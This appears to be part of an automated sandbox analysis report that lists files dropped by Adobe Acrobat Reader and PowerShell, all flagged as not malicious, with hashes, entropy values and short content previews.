Preview:	{"analyticsData":{"responseGUID":"5444cc26-ab31-434e-bd01-599b71e651e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718946912,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.264143110100476
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs1/jRrwK2UXjb24kF0YNmHKoAvJf+dPeUkwRe9:YvXKXslEUTbdZZG28Ukee9
MD5:	9D445A139E493AD58609772AEB6D6F56
SHA1:	803EA234706DDCEFA6F3C9A5CB11706EA8C5E360
SHA-256:	C50053F0EAD59EF7F9D68E5CF4BC9B96440D8A20ACFAC3D60088AD72C29B02BC
SHA-512:	3C23080D100FBAA2744FC132B4C157A01B9CBE2F1B4EB555D34C966D93C82BA58469B5500C3E3E120A4FAA2B29B64FFE8296C38B5A870880E6D6567B051AA17C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5444cc26-ab31-434e-bd01-599b71e651e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718946912,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.261599444610732
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs1/jRrwK2UXjb24kF0YNmHKoAvJfbPtdPeUkwRe9:YvXKXslEUTbdZZGDV8Ukee9
MD5:	423DC041688AA72151388920C627F1A5
SHA1:	A1EC24DEA22BCC245123DCF59380C4BB6DE4DB62
SHA-256:	19EDB852FC7E56DFDDF420468D1E93396856E669233727E14A661DC8B27D30FD
SHA-512:	A6B096B2E970B87A4F181D3D7A0EE7DF69E8D42C0DF5BFC210EAA0D942E78AAB1D42C071E5C266A744B908FA885CE7CC656CC3394F0826ADF030D03D53D6B366
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5444cc26-ab31-434e-bd01-599b71e651e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718946912,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.264360493678188
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs1/jRrwK2UXjb24kF0YNmHKoAvJf21rPeUkwRe9:YvXKXslEUTbdZZG+16Ukee9
MD5:	B5874D3645E2CCB1B7A4AC7BBF8F7B6C
SHA1:	42560515D11F77C3D9F995AE9CA6FD2BFD39C9D2
SHA-256:	003E11DDDCB85ED22162127578A2A8264C6167DABDDDC55559B5E6CD1162F61D
SHA-512:	CD96B76C2A18ECFE70DA3B8A51990F7C1EAE82D387057568C832AB1209E220BBB3E90EE3149CD38361C80A98EDFC5D580055601F0B0B7C978B93AE87054EBE09
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5444cc26-ab31-434e-bd01-599b71e651e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718946912,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.657519143812427
Encrypted:	false
SSDEEP:	24:Yv6XslEUXmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSDi1:YvzlEwoBgkDMUJUAh8cvMg
MD5:	58F109BE1E62D006A3DBC3F1CB65AFA9
SHA1:	D0DD8DB77E45DCD9AB4188C5103DF62D164B3160
SHA-256:	C614DBE2BD492C57540F93832B64D5BDF3028C809ED55EF3392707D47954D798
SHA-512:	ADA4B9EF2B88295580FE21C4A2C38322A7C3F3B38AFD628FF11624FC6D260B2710044EC0319A586A7F1FD37AD37D2EDEF5A35913E8B327EE98F3BAEF565AC184
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5444cc26-ab31-434e-bd01-599b71e651e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718946912,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2415300712634885
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs1/jRrwK2UXjb24kF0YNmHKoAvJfshHHrPeUkwRe9:YvXKXslEUTbdZZGUUUkee9
MD5:	B7A41B84AE5378277A0BA6FB94DA59B3
SHA1:	382955152001C500349AFB93C8A933910E9A2688
SHA-256:	8D260384E257913B468FA62F7DCCC39BF52ABDC42A03000AB653F417DAF8750D
SHA-512:	DE803EC18573296C0E5B4295F94BB7FE6D7948ACC34B4EF41B469BABECCB4F731FA4FE54C9C59FD060E67368B6397ABD6AC32C16C72A2A1174A0899412540D06
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5444cc26-ab31-434e-bd01-599b71e651e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718946912,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2549424499388815
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs1/jRrwK2UXjb24kF0YNmHKoAvJTqgFCrPeUkwRe9:YvXKXslEUTbdZZGTq16Ukee9
MD5:	AB5E6583316216EFEA0C94C5F3FC9CC0
SHA1:	63954A277FCC56D39243BC3A60D7AA212B4D1854
SHA-256:	795FF665E24A9D5DD65692C3022400128953B51679E0406B60002EFDBAC9881C
SHA-512:	A9400642C1E5D76A1CAE97D2F763F01B96740762D503AADA3643A69541EEDB968BBE64AF73AE45A4DCAD0ED4182630CA5256BD34355066254099BAA96E683796
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5444cc26-ab31-434e-bd01-599b71e651e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718946912,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.132043928607852
Encrypted:	false
SSDEEP:	24:YMp9d2WacHlaywGwYuxG1VkIGSBrdGqWN6MG4LQdGryvGUxkGcj82j0SSGS/iWAl:YqDGYDPWN6cDJFhxaVYqlRhF7T79Lo
MD5:	54618FB5ECC1D2A17E5E19371D65174A
SHA1:	213072FF9A188C7843C129544BFDB9CD9764AB7C
SHA-256:	82FEC8D80B9C34C345689FABACEB258B3D072CB96394F9A99958EC1E43842744
SHA-512:	C7C17F453374FCE484C79F8FEE8453618CC526C0737C1FE88CB151DFDB43D33473936230FF54582257250F5A5CC7BBC933FF12F9432C3DCA46EEB3E5521389F8
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"a51f1d3ae0e14032c5d118c6e80a7916","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736544077000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"ec7de826a4f87165e5f16df68ebb7a7b","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736544076000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"881a345a1200abf6e83540f1e2c904d0","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736544076000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"29d422e93c52397bb8ce960e2be6fe76","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736544076000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"17c15985ae38b43384af03727f072043","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736544076000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b2b43999f52045441cb32647e8238135","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3199359929951657
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YFen+EXSqXD:TGufl2GL7msUKB0M0+Tb608YvrG
MD5:	C2286A8049ABC315960BF0B028D9CA37
SHA1:	626A702D0528701F1B32AD3967A1BCBA8E45F56B
SHA-256:	2E0A23B0D3D82DCC9D23033C90C0B9BFD284C1D508E7655EE4129623228BC4C0
SHA-512:	271C0DBCB9E9D2049923D15EAA7C89041A566C78406C59C881920E1062DF36B34A4ED45AFB1126FCDBA33D5EB723A516638D30888F5FCF56A358278F20787323
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7815284261699607
Encrypted:	false
SSDEEP:	24:7+t/l3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YFen/EXSqXlyGKaidqLhx/XYKQu:7MRKB0M0+Tb608YurGKBqFl2GL7ms9
MD5:	C4C7FD765BDC3B1C317EE9117F7E541A
SHA1:	B65DD80F3AC4956EC7630DD3E4AF56A18510056B
SHA-256:	DE15B118DB893058E6F5D1B87E3939E4CC1620C6A125BF6FAF57CA969C903FDD
SHA-512:	64DF85662083C75493E182E010B2A0D69BDCA630BC202B62639FC17039CEF29A321A7F986D589AF6B0692F78CA7193F2BFC38135F1730231C94C3AB62CA31411
Malicious:	false
Preview:	.... .c........D..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgyQEIVptJqbwspTx2PRib4TdYyu:6a6TZ44ADEyQzptAbw5G8dK
MD5:	6B7D3BECFD90E3BE26EC2C63CB0AB12B
SHA1:	A951C95FABF8F324C2A91434561D7972A877A6C6
SHA-256:	5ED70B2D1798AA6C305970DF0EDCA7ACF41491712BD7E0A05E73B20239615E66
SHA-512:	3313B8A468DDEB30D3343ABFCBDC6D2E4A7FCA40ACB28C740BB210588B6FDD832F21C075A405D8267055F2F7F73A0B8225BCF346F2FC0BDEB8DD5E505B774F61
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllul5mxllp:NllU4x/
MD5:	3A925CB766CE4286E251C26E90B55CE8
SHA1:	3FA8EE6E901101A4661723B94D6C9309E281BD28
SHA-256:	4E844662CDFFAAD50BA6320DC598EBE0A31619439D0F6AB379DF978FE81C7BF8
SHA-512:	F348B4AFD42C262BBED07D6BDEA6EE4B7F5CFA2E18BFA725225584E93251188D9787506C2AFEAC482B606B1EA0341419F229A69FF1E9100B01DE42025F915788
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI83aca.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.499838153709141
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNcAw:Qw946cPbiOxDlbYnuRK+bDrNJw
MD5:	279FA17C8A9392055A4999C71D4AF914
SHA1:	E7AFC5784D58B4E6A8D2DB3A04210125C90A31BB
SHA-256:	2E336CDD88614CD57530B64E96310764DE80221472593AE960D5106708022C39
SHA-512:	C5F53764C30788E67BA0607D656622987E08A4A28C86B6605FA3103BC0E435D456D8D6C654739BFA9534399F55AA1978BE1CD3B0A969A629330DA27672E861C5
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.2.1.:.1.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jsl0ekhe.wiq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ufpzn120.fld.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91vufb9i_hcmdsp_1m0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-21-12-741.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.374922130458211
Encrypted:	false
SSDEEP:	384:qHPWlWSWdWr404Pn4c4l4v4D4OQ404f4u4z/6/+/kU4U1UhUOFzF7hBWBWBMgSOM:Ocw
MD5:	9C9ED166C5CF01FBBAF3DC8BBEFFDB48
SHA1:	E8003D5C08A2D2B61E0465FD06E36F64E7324024
SHA-256:	17AFD4235388FEBFF0A1E6659DBB9220F264D1B9CC12483B05336982EB490227
SHA-512:	2971E28470251691155649DAA6F8A2DD2C9320D08BEC2F60F732DC1E13541FDB0535EADBDE8CF1B0F4E460AE86DECBD44A8FCE96799C4E8D32E0767F77BED5DB
Malicious:	false
Preview:	SessionID=143d94ba-d59b-4834-bf78-1803877ab12a.1736544072768 Timestamp=2025-01-10T16:21:12:768-0500 ThreadID=8668 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=143d94ba-d59b-4834-bf78-1803877ab12a.1736544072768 Timestamp=2025-01-10T16:21:12:769-0500 ThreadID=8668 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=143d94ba-d59b-4834-bf78-1803877ab12a.1736544072768 Timestamp=2025-01-10T16:21:12:769-0500 ThreadID=8668 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=143d94ba-d59b-4834-bf78-1803877ab12a.1736544072768 Timestamp=2025-01-10T16:21:12:769-0500 ThreadID=8668 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=143d94ba-d59b-4834-bf78-1803877ab12a.1736544072768 Timestamp=2025-01-10T16:21:12:769-0500 ThreadID=8668 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395687572478195
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zmm:EGvIcNYdoNwz
MD5:	7E26860B768C97C1C40465A5AEA74537
SHA1:	F5C32BEE255DF6C098F78CC84B13678214665A47
SHA-256:	631F78814C341A2B000D7ABC661E68545B285BBBA4FFF3ED3AF229DAF9322174
SHA-512:	504BA2A31CA33D61B8D5F0E67CD874A1BB4B4743D90DCBE3527624E32DEA8E8E528D86556FAD1F3E93C6413A7F2A54B20791FC770E5F5314DBEB2C1A8D8B37FE
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\4fcde1a7-532b-46ee-9f71-bc48a5173cc6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
